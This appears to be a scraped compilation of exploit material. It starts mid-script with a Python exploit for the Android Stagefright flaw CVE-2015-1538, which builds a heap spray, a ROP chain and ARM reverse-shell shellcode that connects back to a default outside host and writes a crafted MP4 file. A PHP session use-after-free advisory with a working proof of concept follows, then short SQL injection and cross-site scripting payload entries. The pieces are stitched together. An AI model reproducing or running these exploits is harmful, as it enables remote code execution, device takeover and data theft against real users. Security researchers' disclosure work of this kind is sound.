0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}
“””
“””
b0001144 <__dl_mprotect>:
b0001144: e92d0090 push {r4, r7}
b0001148: e3a0707d mov r7, #125 ; 0x7d
b000114c: ef000000 svc 0x00000000
b0001150: e8bd0090 pop {r4, r7}
b0001154: e1b00000 movs r0, r0
b0001158: 512fff1e bxpl lr
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>
“””
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = ”
rop += struct.pack(‘<L’, sp_addr + off + 0x10) # new sp
rop += struct.pack(‘<L’, 0xb0002a98) # new lr – pop {pc}
rop += struct.pack(‘<L’, 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}
rop += struct.pack(‘<L’, sp_addr & 0xfffff000) # new r0 – base address (page aligned)
rop += struct.pack(‘<L’, 0x1000) # new r1 – length
rop += struct.pack(‘<L’, 7) # new r2 – protection
rop += struct.pack(‘<L’, 0xd000d003) # new r3 – scratch
rop += struct.pack(‘<L’, 0xd000d004) # new r4 – scratch
rop += struct.pack(‘<L’, 0xb0001144) # new pc – _dl_mprotect
native_start = sp_addr + 0x80
rop += struct.pack(‘<L’, native_start) # address of native payload
#rop += struct.pack(‘<L’, 0xfeedfed5) # top of stack…
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
buf = ”
# fork
buf += ‘\x02\x70\xa0\xe3’
buf += ‘\x00\x00\x00\xef’
# continue if not parent…
buf += ‘\x00\x00\x50\xe3’
buf += ‘\x02\x00\x00\x0a’
# exit parent
buf += ‘\x00\x00\xa0\xe3’
buf += ‘\x01\x70\xa0\xe3’
buf += ‘\x00\x00\x00\xef’
# setsid in child
buf += ‘\x42\x70\xa0\xe3’
buf += ‘\x00\x00\x00\xef’
# socket/connect/dup2/dup2/dup2
buf += ‘\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c’
buf += ‘\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60’
buf += ‘\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0’
buf += ‘\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1’
buf += ‘\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06’
buf += ‘\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00’
buf += ‘\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0’
buf += ‘\xe3\x00\x00\x00\xef’
# execve(shell, argv, env)
buf += ‘\x30\x00\x8f\xe2\x04\x40\x24\xe0’
buf += ‘\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d’
buf += ‘\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00’
buf += ‘\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00’
buf += ‘\xef\x02\x00’
# Add the connect back host/port
buf += struct.pack(‘!H’, cb_port)
cb_host = socket.inet_aton(cb_host)
buf += struct.pack(‘=4s’, cb_host)
# shell –
buf += ‘/system/bin/sh\x00\x00’
# argv –
buf += ‘sh\x00\x00’
# env –
buf += ‘PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00’
# Add some identifiable stuff, just in case something goes awry…
rop_start_off = 0x34
x = rop_start_off + len(rop)
while len(rop) < 0x80 – rop_start_off:
rop += struct.pack(‘<L’, 0xf0f00000+x)
x += 4
# Add the native payload…
rop += buf
return rop
#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here…
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
chunks = []
# Build the MP4 header…
ftyp = ‘mp42’
ftyp += struct.pack(‘>L’, 0)
ftyp += ‘mp42’
ftyp += ‘isom’
chunks.append(make_chunk(‘ftyp’, ftyp))
# Note, this causes a few allocations…
moov_data = ”
moov_data += make_chunk(‘mvhd’,
struct.pack(‘>LL’, 0, 0x41414141) +
(‘B’ * 0x5c) )
# Add a minimal, verified trak to satisfy mLastTrack being set
moov_data += make_chunk(‘trak’,
make_chunk(‘stbl’,
make_stsc(0x28, 0x28) +
make_stco() +
make_stsz() +
make_stts() ))
# Spray the heap using a large tx3g chunk (can contain binary data!)
“””
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!
“””
page = ”
off = 0 # the offset to the next object
off += 8
page += struct.pack(‘<L’, sp_addr + 8 + 16 + 8 + 12 – 28) # _vptr.RefBase (for when we smash mDataSource)
page += struct.pack(‘<L’, sp_addr + off) # mRefs
off += 16
page += struct.pack(‘<L’, 1) # mStrong
page += struct.pack(‘<L’, 0xc0dedbad) # mWeak
page += struct.pack(‘<L’, sp_addr + off) # mBase
page += struct.pack(‘<L’, 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
off += 8
page += struct.pack(‘<L’, sp_addr + off) # the mBase _vptr.RefBase
page += struct.pack(‘<L’, 0xf00dbabe) # mBase.mRefs (unused)
off += 16
page += struct.pack(‘<L’, 0xc0de0000 + 0x00) # vtable entry 0
page += struct.pack(‘<L’, 0xc0de0000 + 0x04) # vtable entry 4
page += struct.pack(‘<L’, 0xc0de0000 + 0x08) # vtable entry 8
page += struct.pack(‘<L’, newpc_val) # vtable entry 12
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
x = len(page)
while len(page) < 4096:
page += struct.pack(‘<L’, 0xf0f00000+x)
x += 4
off = 0x34
page = page[:off] + rop + page[off+len(rop):]
spray = page * (((2*1024*1024) / len(page)) – 20)
moov_data += make_chunk(‘tx3g’, spray)
block = ‘A’ * 0x1c
bigger = ‘B’ * 0x40
udta = make_chunk(‘udta’,
make_chunk(‘meta’,
struct.pack(‘>L’, 0) +
make_chunk(‘ilst’,
make_chunk(‘cpil’, make_chunk(‘data’, struct.pack(‘>LL’, 21, 0) + ‘A’)) +
make_chunk(‘trkn’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABBBB’)) +
make_chunk(‘disk’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + ‘AAAABB’)) +
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘\xa9alb’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘aART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9nam’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) +
make_chunk(‘gnre’, make_chunk(‘data’, struct.pack(‘>LL’, 1, 0) + block)) +
make_chunk(‘covr’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + block)) * 32 +
make_chunk(‘\xa9ART’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
make_chunk(‘\xa9wrt’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)) +
make_chunk(‘\xa9day’, make_chunk(‘data’, struct.pack(‘>LL’, 0, 0) + bigger)))
)
)
moov_data += udta
# Make the nasty trak
tkhd1 = ”.join([
‘\x00’, # version
‘D’ * 3, # padding
‘E’ * (5*4), # {c,m}time, id, ??, duration
‘F’ * 0x10, # ??
struct.pack(‘>LLLLLL’,
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0), # dy
‘G’ * 0x14
])
trak1 = ”
trak1 += make_chunk(‘tkhd’, tkhd1)
mdhd1 = ”.join([
‘\x00’, # version
‘D’ * 0x17, # padding
])
mdia1 = ”
mdia1 += make_chunk(‘mdhd’, mdhd1)
mdia1 += make_chunk(‘hdlr’, ‘F’ * 0x3a)
dinf1 = ”
dinf1 += make_chunk(‘dref’, ‘H’ * 0x14)
minf1 = ”
minf1 += make_chunk(‘smhd’, ‘G’ * 0x08)
minf1 += make_chunk(‘dinf’, dinf1)
# Build the nasty sample table to trigger the vulnerability here.
stbl1 = make_stsc(3, (0x1200 / 0xc) – 1, sp_addr, True) # TRIGGER
# Add the stbl to the minf chunk
minf1 += make_chunk(‘stbl’, stbl1)
# Add the minf to the mdia chunk
mdia1 += make_chunk(‘minf’, minf1)
# Add the mdia to the track
trak1 += make_chunk(‘mdia’, mdia1)
# Add the nasty track to the moov data
moov_data += make_chunk(‘trak’, trak1)
# Finalize the moov chunk
moov = make_chunk(‘moov’, moov_data)
chunks.append(moov)
# Combine outer chunks together and voila.
data = ”.join(chunks)
return data
if __name__ == ‘__main__’:
import sys
import mp4
import argparse
def write_file(path, content):
with open(path, ‘wb’) as f:
f.write(content)
def addr(sval):
if sval.startswith(‘0x’):
return int(sval, 16)
return int(sval)
# The address of a fake StrongPointer object (sprayed)
sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts)
# The address to of our ROP pivot
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
# Allow the user to override parameters
parser = argparse.ArgumentParser()
parser.add_argument(‘-c’, ‘–connectback-host’, dest=‘cbhost’, default=‘31.3.3.7’)
parser.add_argument(‘-p’, ‘–connectback-port’, dest=‘cbport’, type=int, default=12345)
parser.add_argument(‘-s’, ‘–spray-address’, dest=‘spray_addr’, type=addr, default=None)
parser.add_argument(‘-r’, ‘–rop-pivot’, dest=‘rop_pivot’, type=addr, default=None)
parser.add_argument(‘-o’, ‘–output-file’, dest=‘output_file’, default=‘cve-2015-1538-1.mp4’)
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(–1)
if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val
# Build the MP4 file…
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
print(‘[*] Saving crafted MP4 to %s …’ % args.output_file)
write_file(args.output_file, data) - See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf
Use After Free Vulnerabilities in Session Deserializer
Taoguang Chen <[@chtg](http://github.com/chtg)>
Write Date: 2015.8.9
Release Date: 2015.9.4
Multiple use-after-free vulnerabilities were discovered in session deserializer (php/php_binary/php_serialize) that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
Description
------------
PS_SERIALIZER_DECODE_FUNC(php) /* {{{ */
{
...
PHP_VAR_UNSERIALIZE_INIT(var_hash);
p = val;
while (p < endptr) {
...
if (has_value) {
ALLOC_INIT_ZVAL(current);
if (php_var_unserialize(¤t, (const unsigned char **) &q,
(const unsigned char *) endptr, &var_hash TSRMLS_CC)) {
php_set_session_var(name, namelen, current, &var_hash TSRMLS_CC);
}
zval_ptr_dtor(¤t);
}
PS_ADD_VARL(name, namelen);
skip:
efree(name);
p = q;
}
break_outer_loop:
PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
return SUCCESS;
}
When session deserializer (php/php_binary) deserializing multiple data
it will call to php_var_unserialize() multiple times. So we can create
ZVAL and free it via the php_var_unserialize() with a crafted
serialized string, and also free the memory (reduce the reference
count of the ZVAL to zero) via zval_ptr_dtor() with deserialize two
identical session data, then the next call to php_var_unserialize()
will still allow to use R: or r: to set references to that already
freed memory. It is possible to use-after-free attack and execute
arbitrary code remotely.
In some other cases, session deserializer
(php/php_binary/php_serialize) may also lead to use-after-free
vulnerabilities: i) via crafted Serializable::unserialize() ii) via
unserialize()'s callback function and zend_lookup_class() call a
crafted __autoload().
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.4.44.
<?php
session_start();
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
$exploit = 'ryat|a:2:{i:0;i:1;i:1;a:1:{i:1;chtg|a:1:{i:0;R:4;}';
// $exploit = 'ryat|a:1:{i:0;i:1;}ryat|i:1;chtg|R:1;';
session_decode($exploit);
for ($i = 0; $i < 5; $i++) {
$v[$i] = $fakezval.$i;
}
var_dump($_SESSION);
function ptr2str($ptr)
{
$out = "";
for ($i = 0; $i < 8; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}
?>
Test the PoC on the command line:
$ php uafpoc.php
array(2) {
["ryat"]=>
NULL
["chtg"]=>
array(1) {
[0]=>
int(1122334455) <=== so we can control the memory and create fake ZVAL :)
}
}
source: https://www.securityfocus.com/bid/57049/info
City Reviewer is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.
http://www.example.com/city_reviewer/search.php?category=6
source: https://www.securityfocus.com/bid/57035/info
Hero is prone to multiple cross-site scripting vulnerabilities and a cross-site request-forgery vulnerability.
An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, disclose or modify sensitive information, or perform unauthorized actions. Other attacks are also possible.
Hero 3.76 is vulnerable; other versions may also be affected.
http://www.example.com/hero_os/users/login?errors=true&username=" onmouseover%3dalert(/XSS/) %3d"